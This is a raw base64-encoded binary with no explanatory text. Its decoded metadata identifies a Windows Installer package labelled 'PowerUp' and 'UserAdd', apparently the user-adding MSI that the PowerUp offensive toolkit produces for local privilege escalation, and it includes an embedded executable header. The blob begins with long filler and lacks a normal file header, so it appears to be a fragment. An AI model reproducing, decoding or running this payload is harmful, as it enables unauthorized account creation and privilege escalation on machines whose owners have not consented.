AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP3////+/////v///y8AAAAFAAAABgAAAP7///8IAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAACwAAAAYAAAAFgAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAD+////LQAAAC4AAAAwAAAA/v///zEAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAP7/////////CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAD+/////v////7////+////MwAAAP7////+/////v////7////+////OgAAADUAAAA2AAAA/v////7////+/////v///zsAAAA9AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAAD+////TAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAP7////+////WAAAAP7////+/////v///1wAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAKgBAAAOAAAAAQAAAHgAAAACAAAAkAEAAAMAAACAAQAABAAAAHABAAAFAAAAgAAAAAYAAAAoAQAABwAAAJQAAAAJAAAAqAAAAAwAAADYAAAADQAAAOQAAAAOAAAA8AAAAA8AAAD4AAAAEgAAAAgBAAATAAAAAAEAAAIAAADkBAAAHgAAAAoAAABJbnN0YWxsZXIAAAAeAAAACwAAAEludGVsOzEwMzMAAB4AAAAnAAAAe0EwNDlFMzFGLTc3MDEtNEM0QS1BQ0JDLUIyNjBFQjA4QkI0Q30AAEAAAAAALfR1QTjPAUAAAAAALfR1QTjPAQMAAADIAAAAAwAAAAIAAAADAAAAAgAAAB4AAAAXAAAATVNJIFdyYXBwZXIgKDQuMS41NC4wKQAAHgAAAEAAAABJbnN0YWxsZXIgd3JhcHBlZCBieSBNU0kgV3JhcHBlciAoNC4xLjU0LjApIGZyb20gd3d3LmV4ZW1zaS5jb20AHgAAAAgAAABQb3dlclVwAB4AAAAIAAAAVXNlckFkZAAeAAAAEAAAAFVzZXJBZGQgMS4wLjAuMABBOM8BAwAAAMgAAAADAAAAAgAAAB4AAAArAAAAV2luZG93cyBJbnN0YWxsZXIgWE1MIFRvb2xzZXQgKDMuOC4xMTI4LjApAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYABgAGAAYABgAGAAYACgAKACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAACAAUACwAMAA0ADgAPABAAEQASAAcACQAjACUAJwAjACUAJwAjACUAJwABAC0AJQAvADEANAA3ADoANQBJAEsABAAjAEAAQwBGAAsANAA3AE0ATwBRAFQAVgBdAF8AJwA3AF8AYQBkAGcAaQBrAAEALQAjACUAJwAjACUAJwALACUAQAB4AHoAfAB+AIAABwCCAAEABwBfAIYAiACKADcAawCRAJMAlQCZAJsACAAIABgAGAAYABgAGAAIABgAGAAIAAgACAAYABgACAAYABgACAAYABgACAAIABgACAAYAAgACAAYAAgAGAAIAAgACAAYABgAGAAYABgACAAIABgAGAAYAAgACAAIAAgAGAAIAAgACAAIABgAGAAIAAgACAAYABgACAAYABgACAAIABgACAAIABgAGAAYAAgACAAYABgACAAIAAgACAAIABgACAAYABgAGAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAQAAgAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAEAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////fwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACA/////wAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/AID/fwCAAAAAAAAAAAD//////38AgAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/38AgP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAAAAAAP////8AAAAA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